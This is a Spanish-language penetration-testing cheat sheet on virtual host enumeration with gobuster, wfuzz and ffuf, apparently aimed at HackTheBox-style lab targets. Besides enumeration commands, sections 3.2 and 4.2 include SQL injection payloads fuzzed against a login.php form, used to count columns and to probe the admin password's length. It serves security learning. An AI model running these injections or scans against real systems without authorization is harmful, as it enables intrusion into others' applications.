Virtual Host Enumeration

Virtual Host Enumeration

1. Introduccion

La enumeracion de virtual hosts permite descubrir subdominios y hosts virtuales en servidores web que comparten la misma direccion IP. Es esencial en fases de reconocimiento para encontrar aplicaciones hidden o servicios adicionales.


2. Gobuster Vhost

2.1. Uso Basico

gobuster vhost -u http://target.com -w wordlist.txt

2.2. Parametros

Parametro Descripcion
-u URL objetivo
-w Wordlist
-t Hilos (default 10)
-k Ignorar certificados
--domain Dominio a agregar
--append-domain Agregar dominio al subdomain
--exclude-length Excluir respuestas por longitud

2.3. Ejemplo Real

gobuster vhost -u https://10.129.243.140 -t 200 -k -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --domain kobold.htb --append-domain --exclude-length 280-300

3. Wfuzz

3.1. Virtual Host Discovery

wfuzz -u http://target.com -H "Host: FUZZ.target.com" -w wordlist.txt

3.2. Parametros HTTP

wfuzz -u http://10.129.229.139/login.php \
    -X POST \
    -d "username=admin'order by FUZZ-- -&password=p" \
    -z range,1-33 \
    --ss "Wrong identification : admin"
Parametro Descripcion
-X Metodo HTTP
-d Datos POST
-z Payload type (range, file, etc)
--ss Filtrar por response size

4. Ffuf

4.1. Virtual Host Fuzzing

ffuf -u http://target.com -H "Host: FUZZ.target.com" -w wordlist.txt

4.2. Parametros

ffuf -u http://10.129.229.139/login.php -X POST \
     -d "username=admin%27%20and%20length(password)%3DFUZZ--%20-&password=p" \
     -w <(seq 1 33):FUZZ \
     -mr "Wrong identification"
Parametro Descripcion
-H Headers
-mc Match codes
-mr Match regex
-fs Filter by size

5. Wordlists Recomendadas

# Subdominios comunes
/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt

# DNS
/usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt

# Para virtual host
/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

6. Pipeline Recomendado

# 1. Descubrimiento rapido
gobuster vhost -u http://target.com -w subdomains-top1million-110000.txt -t 50

# 2. Verificacion con ffuf
ffuf -u http://target.com -H "Host: FUZZ.target.com" -w wordlist.txt -mc 200 -fc 404

# 3. Fuzzing de parametros
wfuzz -u http://target.com/page.php?FUZZ=value -w param.txt

7. Tips

  • Usar -k para ignore SSL errors
  • Ajustar --exclude-length para filtrar respuestas genericas
  • Combinar con nmap para discovery inicial
  • Verificar falsos positivos filtrando por longitud/response codes